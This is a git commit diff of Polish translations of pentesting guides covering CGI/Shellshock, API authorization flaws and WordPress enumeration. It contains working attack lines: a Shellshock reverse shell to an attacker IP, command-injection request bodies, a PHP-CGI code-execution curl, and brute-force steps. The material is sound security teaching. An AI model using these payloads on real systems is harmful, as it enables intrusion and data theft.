Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

This commit is contained in:
Translator 2025-10-07 10:23:26 +00:00
parent 44891026ba
commit c973b26099
8 changed files with 671 additions and 637 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.5 KiB

BIN
src/images/k8studio.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

File diff suppressed because it is too large Load Diff

View File

@ -5,26 +5,26 @@
## Informacje
The **CGI scripts are perl scripts**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **wgrać perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do reverse shella **z poziomu przeglądarki**, aby go uruchomić.
Aby testować **CGI vulns** zaleca się użycie `nikto -C all` \(and all the plugins\)
Skrypty **CGI są skryptami perl**, więc, jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ pliki możesz **wgrać perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do reverse shella **z poziomu przeglądarki**, aby go uruchomić.
Aby przetestować **CGI vulns** zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\)
## **ShellShock**
**ShellShock** to luka bezpieczeństwa, która dotyczy szeroko używanej powłoki **Bash** w systemach operacyjnych opartych na Unix. Wykorzystuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób uruchamiania procesów w systemie. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala potencjalnie na przejęcie systemu.
**ShellShock** to **luka**, która dotyczy szeroko używanej powłoki wiersza poleceń **Bash** w systemach operacyjnych opartych na Unix. Atakuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób działania procesów na komputerze. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym potencjalnie przejąć system.
Podczas eksploatacji tej luki strona może zwrócić błąd.
Eksploatując tę lukę **strona może zwrócić błąd**.
Możesz znaleźć tę lukę, zauważając, że używana jest stara wersja **Apache** i **cgi_mod** (z folderem cgi) lub używając **nikto**.
Możesz **znaleźć** tę lukę, zauważając użycie **starej wersji Apache** i **cgi_mod** \(z folderem cgi\) lub używając **nikto**.
### **Test**
Większość testów polega na użyciu polecenia echo i oczekiwaniu, że zwrócony ciąg pojawi się w odpowiedzi web. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.
Większość testów polega na użyciu polecenia echo i oczekiwaniu, że dany ciąg zostanie zwrócony w odpowiedzi webowej. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(odbity, ślepy i poza pasmem\)**
## **Curl \(reflected, blind and out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
## Scentralizowane dispatchery CGI (trasowanie do pojedynczego endpointu przez parametry selektora)
## Scentralizowane CGI dispatchery (single endpoint routing via selector parameters)
Wiele wbudowanych interfejsów webowych multipleksuje dziesiątki uprzywilejowanych akcji za pojedynczym endpointem CGI (na przykład, `/cgi-bin/cstecgi.cgi`) i używa parametru selektora takiego jak `topicurl=<handler>`, aby przekierować żądanie do wewnętrznej funkcji.
Wiele wbudowanych interfejsów WWW grupuje dziesiątki uprzywilejowanych akcji za jednym CGI endpointem (np. `/cgi-bin/cstecgi.cgi`) i używa selector parameter takiego jak `topicurl=<handler>`, aby skierować żądanie do wewnętrznej funkcji.
Metodologia wykorzystania tych dispatcherów:
- Wylicz nazwy handlerów: przeszukaj JS/HTML, wykonaj brute-force przy użyciu wordlists, albo rozpakuj firmware i grepuj w poszukiwaniu ciągów handlerów używanych przez dispatcher.
- Sprawdź dostępność bez uwierzytelnienia: niektóre handlery pomijają kontrole auth i są wywoływalne bezpośrednio.
- Skoncentruj się na handlerach, które wywołują narzędzia systemowe lub operują na plikach; słabe walidatory często blokują tylko kilka znaków i mogą pominąć wiodący minus `-`.
- Wymień nazwy handlerów: scrape JS/HTML, brute-force za pomocą wordlists, lub rozpakuj firmware i użyj grep, by znaleźć handler strings używane przez dispatcher.
- Sprawdź unauthenticated reachability: niektóre handlery pomijają auth checks i są bezpośrednio callable.
- Skoncentruj się na handlerach, które wywołują system utilities lub operują na plikach; słabe validators często blokują tylko kilka znaków i mogą przeoczyć wiodący myślnik `-`.
Ogólne wzorce exploitów:
Ogólne schematy exploitów:
```http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
@ -75,32 +75,31 @@ topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Wykrywanie i zabezpieczanie:
Wykrywanie i wzmacnianie zabezpieczeń:
- Monitoruj nieautentyfikowane żądania do scentralizowanych CGI endpoints z `topicurl` ustawionym na wrażliwe handlers.
- Oznacz parametry zaczynające się od `-` (argv option injection attempts).
- Dostawcy: wymuszaj uwierzytelnianie na wszystkich state-changing handlers, waliduj używając ścisłych allowlists/types/lengths i nigdy nie przekazuj user-controlled strings jako command-line flags.
- Uważaj na nieautoryzowane żądania do scentralizowanych endpointów CGI z `topicurl` ustawionym na wrażliwe handlery.
- Oznaczaj parametry zaczynające się od `-` (argv option injection attempts).
- Dostawcy: wymuszaj uwierzytelnianie dla wszystkich state-changing handlers, waliduj używając rygorystycznych allowlists/types/lengths i nigdy nie przekazuj kontrolowanych przez użytkownika ciągów jako command-line flags.
## Stare PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
W skrócie, jeśli cgi jest aktywne i php jest "stare" \(&lt;5.3.12 / &lt; 5.4.2\) możesz wykonać kod.
Aby wykorzystać tę podatność musisz uzyskać dostęp do jakiegoś pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\).
Aby przetestować tę podatność możesz np. uzyskać dostęp do `/index.php?-s` \(zwróć uwagę na `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**.
W zasadzie jeśli cgi jest aktywne i php jest "stare" \(&lt;5.3.12 / &lt; 5.4.2\) możesz wykonać kod.
Aby wyeksploitować tę podatność, musisz uzyskać dostęp do jakiegoś pliku PHP na serwerze WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\).
Aby przetestować tę podatność, możesz np. uzyskać dostęp do `/index.php?-s` \(zwróć uwagę na `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**.
Następnie, aby uzyskać **RCE** możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` a **PHP code** do wykonania umieścić w **body of the request**.
Przykład:
Aby uzyskać **RCE**, możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i umieścić **PHP code** do wykonania w **treści żądania**. Przykład:
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Więcej informacji o vuln i możliwych exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM — dla żądań serwera WWW\)**
## **Proxy \(MitM do żądań serwera WWW\)**
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" zostaje utworzony jako "HTTP_HOST"="web.com"
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"
Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW, spróbuj wysłać **nagłówek** zawierający: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wysyłane przez serwer.
Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać **header** zawierający: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.
## **Referencje**
## **References**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

View File

@ -2,54 +2,96 @@
{{#include ../../banners/hacktricks-training.md}}
## Podsumowanie Metodologii Pentestingu API
## Podsumowanie metodyki pentestingu API
Pentesting API wymaga strukturalnego podejścia do odkrywania luk. Ten przewodnik zawiera kompleksową metodologię, podkreślając praktyczne techniki i narzędzia.
Pentesting API wymaga uporządkowanego podejścia do odkrywania podatności. Ten przewodnik zawiera kompleksową metodykę, kładąc nacisk na praktyczne techniki i narzędzia.
### **Zrozumienie Typów API**
### **Zrozumienie typów API**
- **SOAP/XML Web Services**: Wykorzystują format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (rozszerzenie Burp Suite) są niezbędne do analizowania i generowania żądań. Przykładowa dokumentacja jest dostępna pod adresem [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: Dokumentacja często występuje w plikach WADL, jednak narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) oferują bardziej przyjazny interfejs do interakcji. **Postman** to cenne narzędzie do tworzenia i zarządzania przykładowymi żądaniami.
- **GraphQL**: Język zapytań dla API oferujący pełny i zrozumiały opis danych w Twoim API.
- **SOAP/XML Web Services**: Wykorzystują format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (Burp Suite Extension) są przydatne do parsowania i generowania żądań. Przykładowa dokumentacja jest dostępna na [DNE Online](http://www.dneonline.com/calculator.asmx).
- **REST APIs (JSON)**: Dokumentacja często występuje w plikach WADL, a narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) oferują wygodniejszy interfejs do interakcji. **Postman** jest przydatnym narzędziem do tworzenia i zarządzania przykładowymi żądaniami.
- **GraphQL**: Język zapytań dla API, który oferuje pełny i zrozumiały opis danych w API.
### **Laboratoria Praktyczne**
### **Laboratoria praktyczne**
- [**VAmPI**](https://github.com/erev0s/VAmPI): Celowo podatne API do praktyki, obejmujące 10 najważniejszych luk w API według OWASP.
- [**VAmPI**](https://github.com/erev0s/VAmPI): Celowo podatne API do praktycznych ćwiczeń, obejmujące OWASP top 10 podatności API.
### **Skuteczne Sztuczki do Pentestingu API**
### **Skuteczne techniki dla pentestingu API**
- **Vulnerabilities SOAP/XML**: Zbadaj luki XXE, chociaż deklaracje DTD są często ograniczone. Tag CDATA może umożliwić wstawienie ładunku, jeśli XML pozostaje ważny.
- **Escalacja Uprawnień**: Testuj punkty końcowe z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu.
- **Błędy w Konfiguracji CORS**: Zbadaj ustawienia CORS pod kątem potencjalnej możliwości wykorzystania przez ataki CSRF z sesji uwierzytelnionych.
- **Odkrywanie Punktów Końcowych**: Wykorzystaj wzorce API do odkrywania ukrytych punktów końcowych. Narzędzia takie jak fuzzery mogą zautomatyzować ten proces.
- **Manipulacja Parametrami**: Eksperymentuj z dodawaniem lub zastępowaniem parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji.
- **Testowanie Metod HTTP**: Zmieniaj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji.
- **Manipulacja Typem Zawartości**: Przełączaj się między różnymi typami zawartości (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z analizą lub luki.
- **Zaawansowane Techniki Parametrów**: Testuj z nieoczekiwanymi typami danych w ładunkach JSON lub baw się danymi XML w celu wstrzyknięć XXE. Spróbuj również zanieczyszczenia parametrów i znaków wieloznacznych dla szerszego testowania.
- **Testowanie Wersji**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API.
- **SOAP/XML Vulnerabilities**: Poszukaj podatności XXE, chociaż deklaracje DTD są często ograniczone. Tagi CDATA mogą umożliwić wstawienie ładunku, jeśli XML pozostaje ważny.
- **Privilege Escalation**: Testuj endpointy z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu.
- **CORS Misconfigurations**: Sprawdź ustawienia CORS pod kątem potencjalnego wykorzystania przez ataki CSRF z uwierzytelnionych sesji.
- **Endpoint Discovery**: Wykorzystaj wzorce API do odkrywania ukrytych endpointów. Narzędzia takie jak fuzzers mogą zautomatyzować ten proces.
- **Parameter Tampering**: Eksperymentuj z dodawaniem lub zamianą parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji.
- **HTTP Method Testing**: Zmieniaj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji.
- **Content-Type Manipulation**: Przełączaj się między różnymi typami treści (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z parsowaniem lub podatności.
- **Advanced Parameter Techniques**: Testuj niespodziewane typy danych w payloadach JSON lub manipuluj danymi XML w celu XXE. Również spróbuj parameter pollution i znaków wieloznacznych dla szerszych testów.
- **Version Testing**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API.
### **Narzędzia i Zasoby do Pentestingu API**
### Autoryzacja i logika biznesowa (AuthN != AuthZ) — pułapki tRPC/Zod protectedProcedure
- [**kiterunner**](https://github.com/assetnote/kiterunner): Doskonałe do odkrywania punktów końcowych API. Użyj go do skanowania i brutalnego wymuszania ścieżek i parametrów przeciwko docelowym API.
Nowoczesne stosy TypeScript często używają tRPC z Zod do walidacji wejścia. W tRPC `protectedProcedure` zazwyczaj zapewnia, że żądanie ma ważną sesję (uwierzytelnienie), ale nie oznacza, że wywołujący ma odpowiednią rolę/uprawnienia (autoryzacja). Ta niezgodność prowadzi do Broken Function Level Authorization/BOLA, jeśli wrażliwe procedury są zabezpieczone tylko przez `protectedProcedure`.
- Model zagrożenia: Każdy uwierzytelniony użytkownik o niskich uprawnieniach może wywołać procedury przeznaczone dla administratora, jeśli brakuje sprawdzeń ról (np. migracje w tle, feature flags, tenant-wide maintenance, job control).
- Sygnalizacja w black-box: endpointy `POST /api/trpc/<router>.<procedure>` które zwracają sukces dla podstawowych kont, gdy powinny być dostępne tylko dla administratorów. Samoobsługowe rejestracje (self-serve signups) drastycznie zwiększają możliwość ich wykorzystania.
- Typowy kształt trasy tRPC (v10+): ciało JSON opakowane w `{"input": {...}}`.
Przykładowy podatny wzorzec (brak bramki ról/uprawnień):
```ts
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
```
Praktyczna eksploatacja (black-box)
1) Zarejestruj zwykłe konto i uzyskaj uwierzytelnioną sesję (cookies/headers).
2) Enumeruj background jobs lub inne wrażliwe zasoby za pomocą procedur “list”/“all”/“status”.
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
```
3) Wywołaj uprzywilejowane akcje, takie jak ponowne uruchomienie joba:
```bash
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
```
Impact to assess
- Uszkodzenie danych wskutek nie-idempotentnych restartów: Wymuszanie równoległych uruchomień migrations/workers może tworzyć race conditions i powodować niespójne, częściowe stany (ciche utraty danych, uszkodzona analityka).
- DoS przez wyczerpanie worker/DB: Powtarzane wywoływanie ciężkich zadań może wyczerpać pule workerów i połączenia do bazy danych, powodując przestoje obejmujące wszystkich tenantów.
### **Narzędzia i zasoby dla API Pentesting**
- [**kiterunner**](https://github.com/assetnote/kiterunner): Doskonały do odkrywania endpointów API. Użyj go do skanowania i przeprowadzania brute force na ścieżkach i parametrach wobec docelowych API.
```bash
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
```
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj to narzędzie wiersza poleceń zaprojektowane do wspomagania audytu **ujawnionych plików definicji Swagger/OpenAPI** poprzez sprawdzanie powiązanych punktów końcowych API pod kątem słabej autoryzacji. Oferuje również szablony poleceń do ręcznego testowania podatności.
- Dodatkowe narzędzia, takie jak **automatic-api-attack-tool**, **Astra** i **restler-fuzzer**, oferują dostosowane funkcjonalności do testowania bezpieczeństwa API, od symulacji ataków po fuzzing i skanowanie podatności.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To narzędzie do zabezpieczania API, które audytuje Twoje API na podstawie pliku OAS (narzędzie napisane w rust).
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj to narzędzie wiersza poleceń zaprojektowane, aby pomagać w audycie **exposed Swagger/OpenAPI definition files** poprzez sprawdzanie powiązanych API endpoints pod kątem słabego uwierzytelniania. Dostarcza także szablony poleceń do ręcznego testowania podatności.
- Dodatkowe narzędzia takie jak **automatic-api-attack-tool**, **Astra**, i **restler-fuzzer** oferują wyspecjalizowane funkcje do testów bezpieczeństwa API, od symulacji ataków po fuzzing i skanowanie podatności.
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To narzędzie do bezpieczeństwa API, które audytuje Twoje API na podstawie pliku OAS (narzędzie napisane w rust).
### **Zasoby do nauki i praktyki**
### **Zasoby do nauki i ćwiczeń**
- **OWASP API Security Top 10**: Kluczowa lektura dla zrozumienia powszechnych podatności API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **OWASP API Security Top 10**: Podstawowa lektura do zrozumienia typowych podatności w API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
- **API Security Checklist**: Kompletna lista kontrolna zabezpieczania API ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
- **Logger++ Filters**: Do poszukiwania podatności API, Logger++ oferuje przydatne filtry ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Starannie wyselekcjonowana lista potencjalnych punktów końcowych API do celów testowych ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
- **Logger++ Filters**: Do wykrywania podatności w API, Logger++ oferuje przydatne filtry ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
- **API Endpoints List**: Kuratorowana lista potencjalnych API endpoints do celów testowych ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
## Referencje
## References
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,37 +5,37 @@
## Podstawowe informacje
- **Przesłane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Pliki motywów znajdują się w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **theme twentytwelve** możesz **dostępować** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE, prawdopodobnie będziesz korzystać z tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **dostęp** do pliku **404.php** pod adresem: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Inny przydatny adres może być:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Inny przydatny adres URL może być:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- W **wp-config.php** możesz znaleźć hasło root do bazy danych.
- W **wp-config.php** możesz znaleźć hasło roota do bazy danych.
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Główne pliki WordPress**
- `index.php`
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
- `wp-activate.php` jest używany podczas procesu aktywacji przez email przy zakładaniu nowej strony WordPress.
- `wp-activate.php` jest używany do procesu aktywacji przez e-mail przy zakładaniu nowej witryny WordPress.
- Foldery logowania (mogą być przemianowane, aby je ukryć):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` to plik będący funkcją WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są pluginy i motywy.
- `xmlrpc.php` to plik reprezentujący funkcję WordPress umożliwiającą przesyłanie danych z użyciem HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten typ komunikacji został zastąpiony przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` to główny katalog, w którym przechowywane są pluginy i motywy.
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.
- `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
- `wp-sitemap.xml` W wersjach Wordpress 5.5 i nowszych, Wordpress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.
- `wp-includes/` to katalog, gdzie przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widgety.
- `wp-sitemap.xml` W wersjach WordPress 5.5 i nowszych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie queryable typami postów i taksonomiami.
**Post exploitation**
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów.
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
### Uprawnienia użytkowników
- **Administrator**
- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami
- **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami
- **Author**: Publikuje i zarządza własnymi wpisami
- **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
- **Subscriber**: Przegląda wpisy i edytuje swój profil
@ -46,7 +46,7 @@
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
Wewnątrz **kod źródłowy** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- pliki linków CSS
- Pliki linków CSS
![](<../../images/image (533).png>)
- pliki JavaScript
- Pliki JavaScript
![](<../../images/image (524).png>)
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ogólne wyodrębnianie wersji
### Wyodrębnianie wersji — ogólnie
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Aktywna enumeracja
### Plugins and Themes
### Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich Plugins i Themes. Aby odkryć wszystkie, będziesz musiał(a) **aktywnie Brute Force listę Plugins i Themes** (na szczęście istnieją zautomatyzowane narzędzia, które zawierają takie listy).
Prawdopodobnie nie uda Ci się znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **actively Brute Force a list of Plugins and Themes** (miejmy nadzieję, że istnieją zautomatyzowane narzędzia zawierające te listy).
### Użytkownicy
- **ID Brute:** Otrzymujesz prawidłowych użytkowników z serwisu WordPress poprzez Brute Forcing identyfikatorów użytkowników:
- **ID Brute:** Uzyskujesz poprawnych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, to id jest **nieprawidłowe**.
Jeśli odpowiedzi mają status **200** lub **30X**, to oznacza, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, to id jest **nieprawidłowe**.
- **wp-json:** Możesz także próbować uzyskać informacje o użytkownikach, zapytując:
- **wp-json:** Możesz także spróbować uzyskać informacje o użytkownikach, zapytując:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Inny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali wpis. **Dostarczone będą tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses.
Również zwróć uwagę, że **/wp-json/wp/v2/pages** może powodować leak adresów IP.
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy podany **username** istnieje, czy nie.
- **Login username enumeration**: Podczas logowania w **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy podany **username** istnieje czy nie.
### XML-RPC
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład).
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić brute-force poświadczeń lub użyć go do przeprowadzenia DoS na inne zasoby. (Możesz zautomatyzować ten proces[ using this](https://github.com/relarizky/wpxploit) na przykład).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wysłać to żądanie:
**Sprawdź**
```html
@ -120,9 +120,9 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Poświadczenia Bruteforce**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** są niektórymi z metod, które można wykorzystać do brute-force poświadczeń. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
